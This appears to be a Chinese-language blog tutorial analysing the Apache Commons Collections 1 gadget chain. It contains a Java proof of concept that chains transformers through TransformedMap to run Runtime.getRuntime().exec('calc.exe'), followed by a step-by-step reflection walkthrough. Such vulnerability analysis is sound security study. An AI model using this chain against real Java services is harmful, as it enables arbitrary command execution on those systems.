CommonCollections1
CommonCollections1链
- CommonCollections1
- poc展示
- 调用链分析
- AbstractInputCheckedMapDecorator
- TransformedMap
- ChainedTransformer
- ConstantTransformer
- InvokerTransformer
- poc分析
- 通过反射实现Runtime.getRuntime().exec("calc.exe")
- forName
- getMethod
- invoke
- 依据反射构造ChainedTransformer
- step1
- step2
- step3
- step4
CommonCollections1
poc展示
这是一段POC,运行后会弹出一个计算器。
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;public class test {public static void main(String[] args) throws Exception {//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),//new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {Class.forName("java.lang.Runtime"), new Object[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);//创建Map并绑定transformerChinaMap innerMap = new HashMap();innerMap.put("value", "value");//给予map数据转化链Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式//触发漏洞onlyElement.setValue("foobar");}
}
调用链分析
先debug一下看看调用链,整个过程从onlyElement.setValue("foobar")开始,每段代码只取相关的片段。
源码的注释需要下载CommonsCollections源码查看,debug时是没有的。
AbstractInputCheckedMapDecorator
// org. apache. commons. collections. map. AbstractInputCheckedMapDecoratorprotected abstract Object checkSetValue(Object var1);//3/*** Implementation of a map entry that checks additions via setValue.*/static class MapEntry extends AbstractMapEntryDecorator {private final AbstractInputCheckedMapDecorator parent;/** The parent map */protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}public Object setValue(Object value) {//1value = this.parent.checkSetValue(value);//2return this.entry.setValue(value);}}
如代码注释里的顺序所示,程序先到AbstractInputCheckedMapDecorator的子类MapEntry,在2处调用3处的checkSetValue,但是这里的checkSetValue是抽象函数,程序运行时会根据实例调用对应的实现。
checkSetValue对应的实现有两个如下:
根据poc的代码,这里会执行TransformMap里定义的checkSetValue。
TransformedMap
// org. apache. commons. collections. map. TransformedMap extends AbstractInputCheckedMapDecorator// protected final Transformer keyTransformer;protected final Transformer valueTransformer;/*** Factory method to create a transforming map.* <p>* If there are any elements already in the map being decorated, they* are NOT transformed.* Constrast this with {@link #decorateTransform}.* * @param map the map to decorate, must not be null* @param keyTransformer the transformer to use for key conversion, null means no transformation* @param valueTransformer the transformer to use for value conversion, null means no transformation* @throws IllegalArgumentException if map is null*/public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}/*** Constructor that wraps (not copies).*/protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;}/*** Override to transform the value when using <code>setValue</code>.* * @param value the value to transform* @return the transformed value* @since Commons Collections 3.1*/protected Object checkSetValue(Object value) {//1return this.valueTransformer.transform(value);//2}
该类是对上文AbstractInputCheckedMapDecorator的继承,实现了checkSetValue。
该类还与poc中Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain)有关。
poc中构造的transformers变量先到transformerChain再到outerMap,outerMap是TransformedMap类型的一个实例。
2处的transform是接口Transformer中定义的类,程序运行时会根据实例调用对应的实现。
transform对应的实现有21个如下:
根据poc中的代码,这里会运行ChainedTransformer类实现的transform。
ChainedTransformer
// org. apache. commons. collections. functors. ChainedTransformer implements Transformerprivate final Transformer[] iTransformers;/*** Transforms the input to result via each decorated transformer* * @param object the input object passed to the first transformer* @return the transformed result*/public Object transform(Object object) {//1for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);//2}return object;}
ChainedTransformer实现了Transformer接口,实现了transform。
2处的transform也是接口Transformer中定义的类,程序运行时会根据实例调用对应的实现。
transform对应的实现有21个如下:
根据poc中transformers变量的定义,该循环会先调用一次ConstantTransformer中实现的transform,再调用三次InvokerTransformer中实现的transform。
ConstantTransformer
// org. apache. commons. collections. functors. ConstantTransformer implements Transformerprivate final Object iConstant;public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}/*** Transforms the input by ignoring it and returning the stored constant instead.* * @param input the input object which is ignored* @return the stored constant*/public Object transform(Object input) {//1return this.iConstant;//2}
根据poc中new ConstantTransformer(Runtime.class),2处返回的是java.lang.Runtime
InvokerTransformer
// org. apache. commons. collections. functors. InvokerTransformerprivate final String iMethodName;private final Class[] iParamTypes;private final Object[] iArgs;/*** Constructor that performs no validation.* Use <code>getInstance</code> if you want that.* * @param methodName the method to call* @param paramTypes the constructor parameter types, not cloned* @param args the constructor arguments, not cloned*/public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;}/*** Transforms the input to result by invoking a method on the input.* * @param input the input object to transform* @return the transformed result, null if null input*/public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();//1Method method = cls.getMethod(iMethodName, iParamTypes);//2return method.invoke(input, iArgs);//3} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}
此处是整个poc的关键,关键代码是1、2、3处,这里和上面的java.lang.Runtime最终构成了Runtime.getRuntime().exec(“calc.exe”)。
下面重点分析此处代码。
poc分析
通过反射实现Runtime.getRuntime().exec(“calc.exe”)
需要了解Java反射以及forName、getMethod、invoke函数。
下面主要看下源码里对这三个函数的注释描述。
forName
/*** Returns the Class object associated with the class or interface with the given string name.* @param className the fully qualified name of the desired class.* @return the Class object for the class with the specified name. */@CallerSensitivepublic static Class<?> forName(String className)throws ClassNotFoundException {Class<?> caller = Reflection.getCallerClass();return forName0(className, true, ClassLoader.getClassLoader(caller), caller);}
getMethod
/*** Returns a Method object that reflects the specified public member method of the class or interface represented by this Class object.* The name parameter is a String specifying the simple name of the desired method.* The parameterTypes parameter is an array of Class objects that identify the method's formal parameter types, in declared order.* If parameterTypes is null, it is treated as if it were an empty array.* * Static methods declared in superinterfaces of the class or interface* represented by this Class object are not considered members of* the class or interface.** @param name the name of the method* @param parameterTypes the list of parameters* @return the Method object that matches the specified name and parameterTypes*/@CallerSensitivepublic Method getMethod(String name, Class<?>... parameterTypes)throws NoSuchMethodException, SecurityException {checkMemberAccess(Member.PUBLIC, Reflection.getCallerClass(), true);Method method = getMethod0(name, parameterTypes, true);if (method == null) {throw new NoSuchMethodException(getName() + "." + name + argumentTypesToString(parameterTypes));}return method;}
invoke
/*** Invokes the underlying method represented by this Method* object, on the specified object with the specified parameters.** If the underlying method is static, then the specified obj argument is ignored. It may be null** @param obj the object the underlying method is invoked from* @param args the arguments used for the method call* @return the result of dispatching the method represented by*/@CallerSensitivepublic Object invoke(Object obj, Object... args)throws IllegalAccessException, IllegalArgumentException,InvocationTargetException{if (!override) {if (!Reflection.quickCheckMemberAccess(clazz, modifiers)) {Class<?> caller = Reflection.getCallerClass();checkAccess(caller, clazz, obj, modifiers);}}MethodAccessor ma = methodAccessor; // read volatileif (ma == null) {ma = acquireMethodAccessor();}return ma.invoke(obj, args);}
因此有
[Runtime类].getMethod([方法exec]).invoke([Runtime对象],[参数calc.exe])
由于Runtime的无参构造函数由private修饰,因为无法用newInstance构造,采用getRuntime方法构造。
因此有反射构造:
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))//此处在获取类,"calc.exe");
invoke源码中对该函数有一段特别重要的注释,单独拿出来说:
If the underlying method is static, then the specified obj argument is ignored. It may be null
因为getMethod是static方法,因此反射构造可以改写为:
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)//此处在获取类,"calc.exe");
依据反射构造ChainedTransformer
InvokerTransformer里有一段重要代码是构造的关键:
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
改造一下便是:
input.getClass().getMethod(iMethodName, iParamTypes).invoke(input, iArgs)
根据该结构改造反射构造:
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).getClass().getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)//此处在获取类,"calc.exe");
即为了匹配样式,把Class.forName("java.lang.Runtime")改为Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).getClass()。
根据ChainedTransformer的源码可知,上一层transform的结果会是这一层transform的参数,因此有:
step1
Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)return input.getClass().getMethod("exec", String.class).invoke(input, "calc.exe")new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
step2
Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime")return input.getClass().getMethod("invoke", new Class[] {Object.class, Object[].class}).invoke(input, new Object[] {null, new Object[0]})new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]})
step3
Object input = Class.forName("java.lang.Runtime")return input.getClass().getMethod("getMethod", new Class[] {String.class, Class[].class}).invoke(input, new Object[] {"getRuntime", new Class[0]})new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
step4
new ConstantTransformer(Runtime.class)
至此poc中的transformers构造完成
相关文章:
CommonCollections1
CommonCollections1链 CommonCollections1poc展示调用链分析AbstractInputCheckedMapDecoratorTransformedMapChainedTransformerConstantTransformerInvokerTransformer poc分析通过反射实现Runtime.getRuntime().exec("calc.exe")forNamegetMethodinvoke 依据反射构…...
6、关于Medical-Transformer
6、关于Medical-Transformer Axial-Attention原文链接:Axial-attention Medical-Transformer原文链接:Medical-Transformer Medical-Transformer实际上是Axial-Attention在医学领域的运行,只是在这基础上增加了门机制,实际上也就…...
19_单片机开发常用工具的使用
工欲善其事必先利其器,我们做单片机开发的时候,不管是调试电路还是调试程序,都需要借助一些辅助工具来帮助查找和定位问题,从而帮助我们顺利解决问题。没有任何辅助工具的单片机项目开发很可能就是无法完成的任务,不过…...
最新版微服务项目搭建
一,项目总体介绍 在本项目中,我将使用alibabba的 nacos 作为项目的注册中心,使用 spring cloud gateway 做为项目的网关,用 openfeign 作为服务间的调用组件。 项目总体架构图如下: 注意:我的Java环境是17…...
spring揭秘19-spring事务01-事务抽象
文章目录 【README】【1】事务基本元素【1.1】事务分类 【2】java事务管理【2.1】基于java的局部事务管理【2.2】基于java的分布式事务管理【2.2.1】基于JTA的分布式事务管理【2.2.2】基于JCA的分布式事务管理 【2.3】java事务管理的问题 【3】spring事务抽象概述【3.1】spring…...
基于Matlab的图像去雾系统(四种方法)关于图像去雾的基本算法代码的集合,方法包括局部直方图均衡法、全部直方图均衡法、暗通道先验法、Retinex增强。
基于Matlab的图像去雾系统(四种方法) 关于图像去雾的基本算法代码的集合,方法包括局部直方图均衡法、全部直方图均衡法、暗通道先验法、Retinex增强。 所有代码整合到App designer编写的GUI界面中,包括导入图片,保存处…...
油猴插件录制请求,封装接口自动化参数
参考:如何使用油猴插件提高测试工作效率 一、背景 在酷家乐设计工具测试中,总会有许多高频且较繁琐的工作,比如: 查询插件版本:需要打开Chrome控制台,输入好几个命令然后过滤出版本信息。 查询模型商品&…...
循环购模式!结合引流和复购于一体的商业模型!
欢迎各位朋友,我是你们的电商策略顾问吴军。今天,我将向大家介绍一种新颖的商业模式——循环购模式,它将如何改变我们的消费和收益方式。你是否好奇,为何商家会提供如此慷慨的优惠?消费一千元,不仅能够得到…...
Ilya-AI分享的他在OpenAI学习到的15个提示工程技巧
Ilya(不是本人,claude AI)在社交媒体上分享了他在OpenAI学习到的15个Prompt撰写技巧。 以下是详细的内容: 提示精确化:在编写提示时,力求表达清晰准确。清楚地阐述任务需求和概念定义至关重要。例:不用"分析文本",而用&…...
c中 int 和 unsigned int
c语言中,char、short、int、int64以及unsigned char、unsigned short、unsigned int、unsigned int64等等类型都可以表示整数。但是他们表示整数的位数不同,比如:char/unisigned char表示8位整数; short/unsigned short表示16位整…...
sheng的学习笔记-AI-话题模型(topic model),LDA模型,Unigram Model,pLSA Model
AI目录:sheng的学习笔记-AI目录-CSDN博客 基础知识 什么是话题模型(topic model) 话题模型(topic model)是一族生成式有向图模型,主要用于处理离散型的数据(如文本集合),在信息检索、自然语言处理等领域有广泛应用…...
html 页面引入 vue 组件之 http-vue-loader.js
一、http-vue-loader.js http-vue-loader.js 是一个 Vue 单文件组件加载器,可以让我们在传统的 HTML 页面中使用 Vue 单文件组件,而不必依赖 Node.js 等其他构建工具。它内置了 Vue.js 和样式加载器,并能自动解析 Vue 单文件组件中的所有内容…...
html+css网页设计 旅行 蜘蛛旅行社3个页面
htmlcss网页设计 旅行 蜘蛛旅行社3个页面 网页作品代码简单,可使用任意HTML辑软件(如:Dreamweaver、HBuilder、Vscode 、Sublime 、Webstorm、Text 、Notepad 等任意html编辑软件进行运行及修改编辑等操作)。 获取源码 1&#…...
考拉悠然产品发布会丨以悠然远智全模态AI应用平台探索AI行业应用
9月6日,成都市大模型新技术新成果发布暨供需对接系列活动——考拉悠然专场,在成都市高新区菁蓉汇盛大举行。考拉悠然重磅发布了悠然远智丨全模态AI应用平台,并精彩展示了交通大模型应用——智析快处等最新的AI产品和技术成果。 在四川省科学…...
LLM大模型学习:揭秘LLM应用构建:探究文本加载器的必要性及在LangChain中的运用
构建 LLM 应用为什么需要文本加载器,langchain 中如何使用文本加载器? 在不同的应用场景中需要使用不同的文本内容作为内容的载体,针对不同的类型的文本,langchain 提供了多种文本加载器来帮助我们快速的将文本切片,从…...
Flutter函数
在Dart中,函数为 一等公民,可以作为参数对象传递,也可以作为返回值返回。 函数定义 // 返回值 (可以不写返回值,但建议写)、函数名、参数列表 showMessage(String message) {//函数体print(message); }void showMessage(String m…...
P3565 [POI2014] HOT-Hotels
~~~~~ P3565 [POI2014] HOT-Hotels ~~~~~ 总题单链接 思路 ~~~~~ 设 g [ u ] [ i ] g[u][i] g[u][i] 表示在 u u u 的子树内,距离 u u u 为 i i i 的点的个数。 ~~~~~ 设 d p [ u ] [ i ] dp[u][i] dp[u][i] 表示: u u u 的子树内存在两个点 x , …...
设计模式 | 单例模式
定义 单例设计模式(Singleton Pattern)是一种创建型设计模式,它确保一个类只有一个实例,并提供一个全局访问点来获取该实例。这种模式常用于需要控制对某些资源的访问的场景,例如数据库连接、日志记录等。 单例模式涉…...
Web安全之CSRF攻击详解与防护
在互联网应用中,安全性问题是开发者必须时刻关注的核心内容之一。跨站请求伪造(Cross-Site Request Forgery, CSRF),是一种常见的Web安全漏洞。通过CSRF攻击,黑客可以冒用受害者的身份,发送恶意请求&#x…...
IDEA运行Java程序提示“java: 警告: 源发行版 11 需要目标发行版 11”
遇到这个提示一般是在pom.xml中已经指定了构建的Java版本环境是11例如(此时添加了build插件的情况下虽然不能直接运行代码但是maven是可以正常打包构建): <build><plugins><plugin><groupId>org.apache.maven.plugins</groupId><…...
大数据学习栈记——Neo4j的安装与使用
本文介绍图数据库Neofj的安装与使用,操作系统:Ubuntu24.04,Neofj版本:2025.04.0。 Apt安装 Neofj可以进行官网安装:Neo4j Deployment Center - Graph Database & Analytics 我这里安装是添加软件源的方法 最新版…...
Qt/C++开发监控GB28181系统/取流协议/同时支持udp/tcp被动/tcp主动
一、前言说明 在2011版本的gb28181协议中,拉取视频流只要求udp方式,从2016开始要求新增支持tcp被动和tcp主动两种方式,udp理论上会丢包的,所以实际使用过程可能会出现画面花屏的情况,而tcp肯定不丢包,起码…...
简易版抽奖活动的设计技术方案
1.前言 本技术方案旨在设计一套完整且可靠的抽奖活动逻辑,确保抽奖活动能够公平、公正、公开地进行,同时满足高并发访问、数据安全存储与高效处理等需求,为用户提供流畅的抽奖体验,助力业务顺利开展。本方案将涵盖抽奖活动的整体架构设计、核心流程逻辑、关键功能实现以及…...
JUC笔记(上)-复习 涉及死锁 volatile synchronized CAS 原子操作
一、上下文切换 即使单核CPU也可以进行多线程执行代码,CPU会给每个线程分配CPU时间片来实现这个机制。时间片非常短,所以CPU会不断地切换线程执行,从而让我们感觉多个线程是同时执行的。时间片一般是十几毫秒(ms)。通过时间片分配算法执行。…...
智能仓储的未来:自动化、AI与数据分析如何重塑物流中心
当仓库学会“思考”,物流的终极形态正在诞生 想象这样的场景: 凌晨3点,某物流中心灯火通明却空无一人。AGV机器人集群根据实时订单动态规划路径;AI视觉系统在0.1秒内扫描包裹信息;数字孪生平台正模拟次日峰值流量压力…...
Swagger和OpenApi的前世今生
Swagger与OpenAPI的关系演进是API标准化进程中的重要篇章,二者共同塑造了现代RESTful API的开发范式。 本期就扒一扒其技术演进的关键节点与核心逻辑: 🔄 一、起源与初创期:Swagger的诞生(2010-2014) 核心…...
CMake控制VS2022项目文件分组
我们可以通过 CMake 控制源文件的组织结构,使它们在 VS 解决方案资源管理器中以“组”(Filter)的形式进行分类展示。 🎯 目标 通过 CMake 脚本将 .cpp、.h 等源文件分组显示在 Visual Studio 2022 的解决方案资源管理器中。 ✅ 支持的方法汇总(共4种) 方法描述是否推荐…...
LangChain知识库管理后端接口:数据库操作详解—— 构建本地知识库系统的基础《二》
这段 Python 代码是一个完整的 知识库数据库操作模块,用于对本地知识库系统中的知识库进行增删改查(CRUD)操作。它基于 SQLAlchemy ORM 框架 和一个自定义的装饰器 with_session 实现数据库会话管理。 📘 一、整体功能概述 该模块…...
DingDing机器人群消息推送
文章目录 1 新建机器人2 API文档说明3 代码编写 1 新建机器人 点击群设置 下滑到群管理的机器人,点击进入 添加机器人 选择自定义Webhook服务 点击添加 设置安全设置,详见说明文档 成功后,记录Webhook 2 API文档说明 点击设置说明 查看自…...
MySQL:分区的基本使用
目录 一、什么是分区二、有什么作用三、分类四、创建分区五、删除分区 一、什么是分区 MySQL 分区(Partitioning)是一种将单张表的数据逻辑上拆分成多个物理部分的技术。这些物理部分(分区)可以独立存储、管理和优化,…...
